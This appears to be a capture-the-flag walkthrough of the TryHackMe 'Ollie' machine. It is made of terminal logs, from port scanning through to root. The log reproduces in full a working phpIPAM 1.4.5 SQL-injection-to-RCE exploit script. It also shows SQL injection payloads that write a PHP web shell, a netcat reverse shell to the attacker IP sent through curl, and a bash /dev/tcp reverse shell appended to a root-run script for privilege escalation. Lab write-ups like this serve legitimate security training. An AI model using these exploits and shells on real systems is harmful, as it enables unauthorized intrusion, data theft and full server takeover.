Ollie

222

ROOF ROOF

Start Machine

Ollie Unix Montgomery, the infamous hacker dog, is a great red teamer. As for development... not so much! Rumor has it, Ollie messed with a few of the files on the server to ensure backward compatibility. Take control before time runs out!

Rest in Peace 1/5/2023

Please allow up to 3 minutes for the machine to boot.

Answer the questions below

┌──(witty㉿kali)-[~/bug_hunter/s3brute]
└─$ rustscan -a 10.10.133.68 --ulimit 5500 -b 65535 -- -A -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/witty/.rustscan.toml"
[~] Automatically increasing ulimit value to 5500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
Open 10.10.133.68:22
Open 10.10.133.68:80
Open 10.10.133.68:1337
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-24 13:00 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:00
Completed NSE at 13:00, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:00
Completed NSE at 13:00, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:00
Completed NSE at 13:00, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 13:00
Completed Parallel DNS resolution of 1 host. at 13:00, 13.01s elapsed
DNS resolution of 1 IPs took 13.02s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating Connect Scan at 13:00
Scanning 10.10.133.68 [3 ports]
Discovered open port 22/tcp on 10.10.133.68
Discovered open port 80/tcp on 10.10.133.68
Discovered open port 1337/tcp on 10.10.133.68
Completed Connect Scan at 13:00, 0.20s elapsed (3 total ports)
Initiating Service scan at 13:00
Scanning 3 services on 10.10.133.68
Completed Service scan at 13:03, 161.94s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.133.68.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:03
NSE Timing: About 98.81% done; ETC: 13:04 (0:00:00 remaining)
NSE Timing: About 99.29% done; ETC: 13:04 (0:00:00 remaining)
NSE Timing: About 99.76% done; ETC: 13:05 (0:00:00 remaining)
Completed NSE at 13:05, 100.14s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:05
Completed NSE at 13:05, 1.89s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:05
Completed NSE at 13:05, 0.00s elapsed
Nmap scan report for 10.10.133.68
Host is up, received user-set (0.19s latency).
Scanned at 2023-02-24 13:00:54 EST for 265s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b71ba8f88c8a4a5355c02e8901f25669 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDP5+l/iCTR0Sqa4q0dIntXiVyRE5hsnPV5UfG4D+sQKeM4XoG7mzycPzJxn9WkONCwgmLWyFD1wHOnexqtxEOoyCrHhP2xGz+5sOsJ7RbpA0KL/CAUKs2aCtonKUwg5FEhOjUy945M0e/DmstbOYx8od6603eb4TytHfxQHPPiWBBRCmg6e+5UjcHLSOqDEzXkDOmmLieiE008fEVrNAmF2J+I4XPJI7Usaf3IzpnaFm3Ca9YvNAr4t8gpDST2uNuRWA9NCMspBFEj/5YQfjOnYx2cSSZHUP3lK8tiwc/RWSk7OBTXYOBncyV4lw8OiyJ1fOhr/2gXTXE/tWQvu1zKWYYafMKRdsH6nuE5nZ0CK3pLHe/nUgIsVPl7sJ3QlqJF7Wd5OmY3e4Py7movqFm/HmW+zjwsXGHnzENC47N+RxV0XTYCxbKzTAZDo5gLMxmsbXWnQmU5GMk0e9sh7HHybmWWkKKYJiOp+3yM9vTPXPiNXBeJmvWa01hoAAi+3OU=
|   256 4e2743b6f454f918d038dacd769b8548 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFL/P1VyyCYVY2aUZcXTLmHkiXGo4/KdJptRP7Wioy78Sb/W/bKDAq3Yl6a6RQW7KlGSbZ84who5gWwVMTSTt2U=
|   256 1482cabb04e501839cd654e9d1fac482 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHmTKDYCCJVK6wx0kZdjLd1YZeLryW/qXfKAfzqN/UHv
80/tcp   open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 2 disallowed entries 
|_/ /immaolllieeboyyy
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
1337/tcp open  waste?  syn-ack
| fingerprint-strings: 
|   DNSStatusRequestTCP, GenericLines: 
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up, 
|     It's been a while. What are you here for?
|   DNSVersionBindReqTCP: 
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up, 
|     version
|     bind
|     It's been a while. What are you here for?
|   GetRequest: 
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up, Get / http/1.0
|     It's been a while. What are you here for?
|   HTTPOptions: 
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up, Options / http/1.0
|     It's been a while. What are you here for?
|   Help: 
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up, Help
|     It's been a while. What are you here for?
|   NULL, RPCCheck: 
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name?
|   RTSPRequest: 
|     Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.
|     What is your name? What's up, Options / rtsp/1.0
|_    It's been a while. What are you here for?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.93%I=7%D=2/24%Time=63F8FB5D%P=x86_64-pc-linux-gnu%r(NU
SF:LL,59,"Hey\x20stranger,\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\
SF:x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20
SF:")%r(GenericLines,93,"Hey\x20stranger,\x20I'm\x20Ollie,\x20protector\x2
SF:0of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\x20you
SF:r\x20name\?\x20What's\x20up,\x20\r\n\r!\x20It's\x20been\x20a\x20while\.
SF:\x20What\x20are\x20you\x20here\x20for\?\x20")%r(GetRequest,A1,"Hey\x20s
SF:tranger,\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\
SF:x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20up,\x
SF:20Get\x20/\x20http/1\.0\r\n\r!\x20It's\x20been\x20a\x20while\.\x20What\
SF:x20are\x20you\x20here\x20for\?\x20")%r(HTTPOptions,A5,"Hey\x20stranger,
SF:\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\
SF:x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20up,\x20Option
SF:s\x20/\x20http/1\.0\r\n\r!\x20It's\x20been\x20a\x20while\.\x20What\x20a
SF:re\x20you\x20here\x20for\?\x20")%r(RTSPRequest,A5,"Hey\x20stranger,\x20
SF:I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20a
SF:ntlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20up,\x20Options\x2
SF:0/\x20rtsp/1\.0\r\n\r!\x20It's\x20been\x20a\x20while\.\x20What\x20are\x
SF:20you\x20here\x20for\?\x20")%r(RPCCheck,59,"Hey\x20stranger,\x20I'm\x20
SF:Ollie,\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\
SF:.\n\nWhat\x20is\x20your\x20name\?\x20")%r(DNSVersionBindReqTCP,B0,"Hey\
SF:x20stranger,\x20I'm\x20Ollie,\x20protector\x20of\x20panels,\x20lover\x2
SF:0of\x20deer\x20antlers\.\n\nWhat\x20is\x20your\x20name\?\x20What's\x20u
SF:p,\x20\0\x1e\0\x06\x01\0\0\x01\0\0\0\0\0\0\x07version\x04bind\0\0\x10\0
SF:\x03!\x20It's\x20been\x20a\x20while\.\x20What\x20are\x20you\x20here\x20
SF:for\?\x20")%r(DNSStatusRequestTCP,9E,"Hey\x20stranger,\x20I'm\x20Ollie,
SF:\x20protector\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nW
SF:hat\x20is\x20your\x20name\?\x20What's\x20up,\x20\0\x0c\0\0\x10\0\0\0\0\
SF:0\0\0\0\0!\x20It's\x20been\x20a\x20while\.\x20What\x20are\x20you\x20her
SF:e\x20for\?\x20")%r(Help,95,"Hey\x20stranger,\x20I'm\x20Ollie,\x20protec
SF:tor\x20of\x20panels,\x20lover\x20of\x20deer\x20antlers\.\n\nWhat\x20is\
SF:x20your\x20name\?\x20What's\x20up,\x20Help\r!\x20It's\x20been\x20a\x20w
SF:hile\.\x20What\x20are\x20you\x20here\x20for\?\x20");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 13:05
Completed NSE at 13:05, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 13:05
Completed NSE at 13:05, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 13:05
Completed NSE at 13:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 282.87 seconds

┌──(witty㉿kali)-[~/bug_hunter/s3brute]
└─$ nc 10.10.133.68 1337                    
Hey stranger, I'm Ollie, protector of panels, lover of deer antlers.

What is your name? Ollie
What's up, Ollie! It's been a while. What are you here for? exploit
Ya' know what? Ollie. If you can answer a question about me, I might have something for you.


What breed of dog am I? I'll make it a multiple choice question to keep it easy: Bulldog, Husky, Duck or Wolf? Bulldog
You are correct! Let me confer with my trusted colleagues; Benny, Baxter and Connie...
Please hold on a minute
Ok, I'm back.
After a lengthy discussion, we've come to the conclusion that you are the right person for the job.Here are the credentials for our administration panel.

                    Username: admin

                    Password: OllieUnixMontgomery!

PS: Good luck and next time bring some treats!

┌──(witty㉿kali)-[~/bug_hunter/s3brute]
└─$ ssh admin@10.10.133.68 
^C

Deactivate WARP

http://10.10.133.68/index.php?page=login

view-source:http://10.10.133.68/index.php?page=login

<a href="http://phpipam.net">phpIPAM IP address management [v1.4.5]</a>

https://www.exploit-db.com/exploits/50963
https://fluidattacks.com/advisories/mercury/

cat 50963.py  
# Exploit Title: phpIPAM 1.4.5 - Remote Code Execution (RCE) (Authenticated)
# Date: 2022-04-10
# Exploit Author: Guilherme '@behiNdyk1' Alves
# Vendor Homepage: https://phpipam.net/
# Software Link: https://github.com/phpipam/phpipam/releases/tag/v1.4.5
# Version: 1.4.5
# Tested on: Linux Ubuntu 20.04.3 LTS

#!/usr/bin/env python3

import requests
import argparse
from sys import exit, argv
from termcolor import colored

banner = """
█▀█ █░█ █▀█ █ █▀█ ▄▀█ █▀▄▀█   ▄█ ░ █░█ ░ █▀   █▀ █▀█ █░░ █   ▀█▀ █▀█   █▀█ █▀▀ █▀▀
█▀▀ █▀█ █▀▀ █ █▀▀ █▀█ █░▀░█   ░█ ▄ ▀▀█ ▄ ▄█   ▄█ ▀▀█ █▄▄ █   ░█░ █▄█   █▀▄ █▄▄ ██▄

█▄▄ █▄█   █▄▄ █▀▀ █░█ █ █▄░█ █▀▄ █▄█ █▀ █▀▀ █▀▀
█▄█ ░█░   █▄█ ██▄ █▀█ █ █░▀█ █▄▀ ░█░ ▄█ ██▄ █▄▄\n"""
print(banner)

parser = argparse.ArgumentParser(usage="./exploit.py -url http://domain.tld/ipam_base_url -usr username -pwd password -cmd 'command_to_execute' --path /system/writable/path/to/save/shell", description="phpIPAM 1.4.5 - (Authenticated) SQL Injection to RCE")

parser.add_argument("-url", type=str, help="URL to vulnerable IPAM", required=True)
parser.add_argument("-usr", type=str, help="Username to log in as", required=True)
parser.add_argument("-pwd", type=str, help="User's password", required=True)
parser.add_argument("-cmd", type=str, help="Command to execute", default="id")
parser.add_argument("--path", type=str, help="Path to writable system folder and accessible via webserver (default: /var/www/html)", default="/var/www/html")
parser.add_argument("--shell", type=str, help="Spawn a shell (non-interactive)", nargs="?")
args = parser.parse_args()

url = args.url
username = args.usr
password = args.pwd
command = args.cmd
path = args.path

# Validating url
if url.endswith("/"):
	url = url[:-1]
if not url.startswith("http://") and not url.startswith("https://"):
	print(colored("[!] Please specify a valid scheme (http:// or https://) before the domain.", "yellow"))
	exit()

def login(url, username, password):
	"""Takes an username and a password and tries to execute a login (IPAM)"""
	data = {
	"ipamusername": username,
	"ipampassword": password
	}
	print(colored(f"[...] Trying to log in as {username}", "blue"))
	r = requests.post(f"{url}/app/login/login_check.php", data=data)
	if "Invalid username or password" in r.text:
		print(colored(f"[-] There's an error when trying to log in using these credentials --> {username}:{password}", "red"))
		exit()
	else:
		print(colored("[+] Login successful!", "green"))
		return str(r.cookies['phpipam'])

auth_cookie = login(url, username, password)

def exploit(url, auth_cookie, path, command):
	print(colored("[...] Exploiting", "blue"))
	vulnerable_path = "app/admin/routing/edit-bgp-mapping-search.php"
	data = {
	"subnet": f"\" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '{path}/evil.php' -- -",
	"bgp_id": "1"
	}
	cookies = {
	"phpipam": auth_cookie
	}
	requests.post(f"{url}/{vulnerable_path}", data=data, cookies=cookies)
	test = requests.get(f"{url}/evil.php")
	if test.status_code != 200:
		return print(colored(f"[-] Something went wrong. Maybe the path isn't writable. You can still abuse of the SQL injection vulnerability at {url}/index.php?page=tools&section=routing&subnetId=bgp&sPage=1", "red"))
	if "--shell" in argv:
		while True:
			command = input("Shell> ")
			r = requests.get(f"{url}/evil.php?cmd={command}")
			print(r.text)
	else:
		print(colored(f"[+] Success! The shell is located at {url}/evil.php. Parameter: cmd", "green"))
		r = requests.get(f"{url}/evil.php?cmd={command}")
		print(f"\n\n[+] Output:\n{r.text}")

exploit(url, auth_cookie, path, command)    

┌──(witty㉿kali)-[~/Downloads]
└─$ python3 50963.py -url http://10.10.133.68 -usr admin -pwd OllieUnixMontgomery! -cmd 'id' 

█▀█ █░█ █▀█ █ █▀█ ▄▀█ █▀▄▀█   ▄█ ░ █░█ ░ █▀   █▀ █▀█ █░░ █   ▀█▀ █▀█   █▀█ █▀▀ █▀▀
█▀▀ █▀█ █▀▀ █ █▀▀ █▀█ █░▀░█   ░█ ▄ ▀▀█ ▄ ▄█   ▄█ ▀▀█ █▄▄ █   ░█░ █▄█   █▀▄ █▄▄ ██▄

█▄▄ █▄█   █▄▄ █▀▀ █░█ █ █▄░█ █▀▄ █▄█ █▀ █▀▀ █▀▀
█▄█ ░█░   █▄█ ██▄ █▀█ █ █░▀█ █▄▀ ░█░ ▄█ ██▄ █▄▄

[...] Trying to log in as admin
[+] Login successful!
[...] Exploiting
[+] Success! The shell is located at http://10.10.133.68/evil.php. Parameter: cmd


[+] Output:
1	 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 	3	4



phpIPAM es una herramienta de administración de direcciones IP (IPAM) de código abierto basada en la web. Permite a los administradores de red gestionar sus direcciones IP y subredes de manera eficiente, lo que resulta muy útil en redes grandes y complejas.

phpIPAM es una herramienta bastante completa que incluye muchas funciones útiles, como la gestión de direcciones IP, subredes y VLAN, el descubrimiento automático de dispositivos de red, la generación automática de informes, la integración con herramientas de terceros, la autenticación basada en roles y permisos, entre otros.

Aunque puede haber cierta curva de aprendizaje para usuarios nuevos en la herramienta, phpIPAM se considera relativamente simple en comparación con otras soluciones de IPAM más complejas y costosas. Además, su naturaleza de código abierto lo hace altamente personalizable y adaptable a las necesidades de cada organización.

## Proof of Concept

Steps to reproduce

1.  Go to settings and enable the routing module.
2.  Go to show routing.
3.  Click on "Add peer" and create a new "BGP peer".
4.  Click on the newly created "BGP peer".
5.  Click on "Actions" and go to "Subnet Mapping".
6.  Scroll down to "Map new subnet".
7.  Insert an SQL Injection sentence inside the search parameter, for example: `" union select @@version,2,user(),4 -- -`.


" union select @@version,2,user(),4 -- -

	8.0.28-0ubuntu0.20.04.3/phpipam_ollie@localhost (4)	

" union all select 1,2,3,group_concat(user,0x3a,file_priv) from mysql.user -- -

1/3 (debian-sys-maint:Y,mysql.infoschema:N,mysql.session:N,mysql.sys:N,ollie_mysql:Y,phpipam_ollie:Y,root:Y)

The query uses the "union all" command to combine the result sets from two separate queries into one. The first query returns the values 1, 2, and 3, which are not particularly relevant to the attack. The second query uses the "group_concat" function to concatenate the "user" and "file_priv" fields from the "mysql.user" table, separated by a colon (represented by the hex value "0x3a"). The "-- -" characters at the end of the query are used to comment out the remaining portion of the original query, preventing any errors.

In summary, this attack query aims to extract information about the users and file privileges in the MySQL database, by exploiting a vulnerability that allows an attacker to inject malicious SQL code into an application's input fields. It is important to note that SQL injection attacks can be very dangerous and can result in unauthorized access to sensitive data, modification or deletion of data, or even complete system compromise.

`phpipam_ollie` is able to write a file!

"<?php system($_GET["cmd"]); ?>"
to hex

" Union Select 1,0x223c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e22,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -

┌──(witty㉿kali)-[~/bug_hunter/svn-extractor]
└─$ curl http://10.10.49.94/shell.php\?cmd\=whoami   
1	"www-data
"	3	4

revshell

https://www.revshells.com/

┌──(witty㉿kali)-[~/bug_hunter/svn-extractor]
└─$ curl http://10.10.49.94/shell.php\?cmd\=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.8.19.103%204443%20%3E%2Ftmp%2Ff

┌──(witty㉿kali)-[~/Downloads]
└─$ rlwrap nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.8.19.103] from (UNKNOWN) [10.10.49.94] 40914
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@hackerdog:/var/www/html$ ls
ls
INSTALL.txt  app		db		  index.php  robots.txt
README.md    config.docker.php	functions	  install    shell.php
UPDATE	     config.php		imgs		  js	     upgrade
api	     css		immaolllieeboyyy  misc

www-data@hackerdog:/var/www/html$ cat robots.txt
cat robots.txt
User-agent: *
Disallow: /
Disallow: /immaolllieeboyyy
www-data@hackerdog:/var/www/html$ cd /home
cd /home
www-data@hackerdog:/home$ ls
ls
ollie
www-data@hackerdog:/home$ cd ollie
cd ollie
www-data@hackerdog:/home/ollie$ ls
ls
user.txt
www-data@hackerdog:/home/ollie$ cat user.txt
cat user.txt
cat: user.txt: Permission denied

Password Reuse attack!

www-data@hackerdog:/home/ollie$ su ollie
su ollie
Password: OllieUnixMontgomery!

ollie@hackerdog:~$ cat user.txt
cat user.txt
THM{Ollie_boi_is_daH_Cut3st}

ollie@hackerdog:~$ sudo -l
sudo -l
[sudo] password for ollie: OllieUnixMontgomery!

Sorry, user ollie may not run sudo on hackerdog.

ollie@hackerdog:~$ find / -perm -4000 2>/dev/null | xargs ls -lah
find / -perm -4000 2>/dev/null | xargs ls -lah
-rwsr-xr-x 1 root   root             43K Sep 16  2020 /snap/core18/2128/bin/mount
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/2128/bin/ping
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/2128/bin/su
-rwsr-xr-x 1 root   root             27K Sep 16  2020 /snap/core18/2128/bin/umount
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/2128/usr/bin/chfn
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/2128/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/2128/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/2128/usr/bin/newgrp
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/2128/usr/bin/passwd
-rwsr-xr-x 1 root   root            146K Jan 19  2021 /snap/core18/2128/usr/bin/sudo
-rwsr-xr-- 1 root   systemd-resolve  42K Jun 11  2020 /snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root            427K Mar  4  2019 /snap/core18/2128/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             43K Sep 16  2020 /snap/core18/2284/bin/mount
-rwsr-xr-x 1 root   root             63K Jun 28  2019 /snap/core18/2284/bin/ping
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/2284/bin/su
-rwsr-xr-x 1 root   root             27K Sep 16  2020 /snap/core18/2284/bin/umount
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/2284/usr/bin/chfn
-rwsr-xr-x 1 root   root             44K Mar 22  2019 /snap/core18/2284/usr/bin/chsh
-rwsr-xr-x 1 root   root             75K Mar 22  2019 /snap/core18/2284/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             40K Mar 22  2019 /snap/core18/2284/usr/bin/newgrp
-rwsr-xr-x 1 root   root             59K Mar 22  2019 /snap/core18/2284/usr/bin/passwd
-rwsr-xr-x 1 root   root            146K Jan 19  2021 /snap/core18/2284/usr/bin/sudo
-rwsr-xr-- 1 root   systemd-resolve  42K Jun 11  2020 /snap/core18/2284/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root            427K Aug 11  2021 /snap/core18/2284/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             84K Jul 14  2021 /snap/core20/1328/usr/bin/chfn
-rwsr-xr-x 1 root   root             52K Jul 14  2021 /snap/core20/1328/usr/bin/chsh
-rwsr-xr-x 1 root   root             87K Jul 14  2021 /snap/core20/1328/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             55K Jul 21  2020 /snap/core20/1328/usr/bin/mount
-rwsr-xr-x 1 root   root             44K Jul 14  2021 /snap/core20/1328/usr/bin/newgrp
-rwsr-xr-x 1 root   root             67K Jul 14  2021 /snap/core20/1328/usr/bin/passwd
-rwsr-xr-x 1 root   root             67K Jul 21  2020 /snap/core20/1328/usr/bin/su
-rwsr-xr-x 1 root   root            163K Jan 19  2021 /snap/core20/1328/usr/bin/sudo
-rwsr-xr-x 1 root   root             39K Jul 21  2020 /snap/core20/1328/usr/bin/umount
-rwsr-xr-- 1 root   systemd-resolve  51K Jun 11  2020 /snap/core20/1328/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root            463K Dec  2  2021 /snap/core20/1328/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root            109K Jul 14  2021 /snap/snapd/12704/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root   root            121K Jan  7  2022 /snap/snapd/14549/usr/lib/snapd/snap-confine
-rwsr-sr-x 1 daemon daemon           55K Nov 12  2018 /usr/bin/at
-rwsr-xr-x 1 root   root             84K Jul 14  2021 /usr/bin/chfn
-rwsr-xr-x 1 root   root             52K Jul 14  2021 /usr/bin/chsh
-rwsr-xr-x 1 root   root             39K Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root   root             87K Jul 14  2021 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root             55K Feb  7  2022 /usr/bin/mount
-rwsr-xr-x 1 root   root             44K Jul 14  2021 /usr/bin/newgrp
-rwsr-xr-x 1 root   root             67K Jul 14  2021 /usr/bin/passwd
-rwsr-xr-x 1 root   root             31K Jan 12  2022 /usr/bin/pkexec
-rwsr-xr-x 1 root   root             67K Feb  7  2022 /usr/bin/su
-rwsr-xr-x 1 root   root            163K Jan 19  2021 /usr/bin/sudo
-rwsr-xr-x 1 root   root             39K Feb  7  2022 /usr/bin/umount
-rwsr-xr-- 1 root   messagebus       51K Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root             15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root            463K Dec  2  2021 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             23K Jan 12  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root            128K Sep  9  2021 /usr/lib/snapd/snap-confine

┌──(witty㉿kali)-[~/Downloads]
└─$ python3 -m http.server 7070
Serving HTTP on 0.0.0.0 port 7070 (http://0.0.0.0:7070/) ...
10.10.49.94 - - [24/Feb/2023 15:48:53] "GET /pspy64 HTTP/1.1" 200 -

ollie@hackerdog:/$ cd /tmp
cd /tmp
ollie@hackerdog:/tmp$ wget http://10.8.19.103:7070/pspy64
wget http://10.8.19.103:7070/pspy64
--2023-02-24 20:51:39--  http://10.8.19.103:7070/pspy64
Connecting to 10.8.19.103:7070... connected.
HTTP request sent, awaiting response... 200 OK

ollie@hackerdog:/tmp$ chmod +x pspy64
chmod +x pspy64
ollie@hackerdog:/tmp$ ./pspy64

ollie@hackerdog:/tmp$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/02/24 20:55:09 CMD: UID=0     PID=2333   | /lib/systemd/systemd-udevd 
2023/02/24 20:55:09 CMD: UID=0     PID=2332   | /bin/bash /usr/bin/feedme 
www-data@hackerdog:/tmp$ ls -la /usr/bin/feedme
ls -la /usr/bin/feedme
-rwxrw-r-- 1 root ollie 30 Feb 12  2022 /usr/bin/feedme
www-data@hackerdog:/tmp$ cat /usr/bin/feedme
cat /usr/bin/feedme
#!/bin/bash

# This is weird?
ollie@hackerdog:/tmp$ echo "/bin/bash -i >& /dev/tcp/10.8.19.103/1337 0>&1" >> /usr/bin/feedme
< /dev/tcp/10.8.19.103/1337 0>&1" >> /usr/bin/feedme

┌──(witty㉿kali)-[~/Downloads]
└─$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.8.19.103] from (UNKNOWN) [10.10.49.94] 51564
bash: cannot set terminal process group (2462): Inappropriate ioctl for device
bash: no job control in this shell
root@hackerdog:/# cd /root
cd /root
root@hackerdog:~# ls
ls
root.txt
snap
root@hackerdog:~# cat root.txt
cat root.txt
THM{Ollie_Luvs_Chicken_Fries}

root@hackerdog:/var/www/html# docker ps
docker ps
CONTAINER ID   IMAGE      COMMAND                  CREATED         STATUS          PORTS                                       NAMES
a1a0f8014a1c   olliebot   "python3 -u olliebot…"   12 months ago   Up 39 minutes   0.0.0.0:1337->1337/tcp, :::1337->1337/tcp   olliebot

root@hackerdog:/var/www/html# python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@hackerdog:/var/www/html# docker exec -it a1a0f8014a1c sh
docker exec -it a1a0f8014a1c sh
/ # 55R5R
5R5R
sh: 5R5R: not found
/ # 55R5Rwhoami
5R5Rwhoami
/ # lls
ls
app          home         olliebot.py  run          tmp
bin          lib          opt          sbin         usr
dev          media        proc         srv          var
etc          mnt          root         sys
/ # ccat olliebot.py
cat olliebot.py
import sys
import threading
import socket
from time import sleep

#make this run on startup  WIP
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 1337))
s.listen()

def catch(c, a):
    c.send(b"Hey stranger, I\'m Ollie, protector of panels, lover of deer antlers.\n\nWhat is your name? ")
    user = c.recv(1024).decode("utf-8").strip("\n")
    c.send(f'What\'s up, {user.capitalize()}! It\'s been a while. What are you here for? '.encode("utf-8"))
    what = c.recv(1024).decode("utf-8").strip("\n")
    if 'food' in what.lower():
        c.send(b'I am hungry, I need food. You better be careful. I\'ve been known to bite. Moving on...\n')
        sleep(1.5)
        c.send(b'Ya know what... I have an idea. A question to test your knowledge about me...\n')
        sleep(2)
    else:
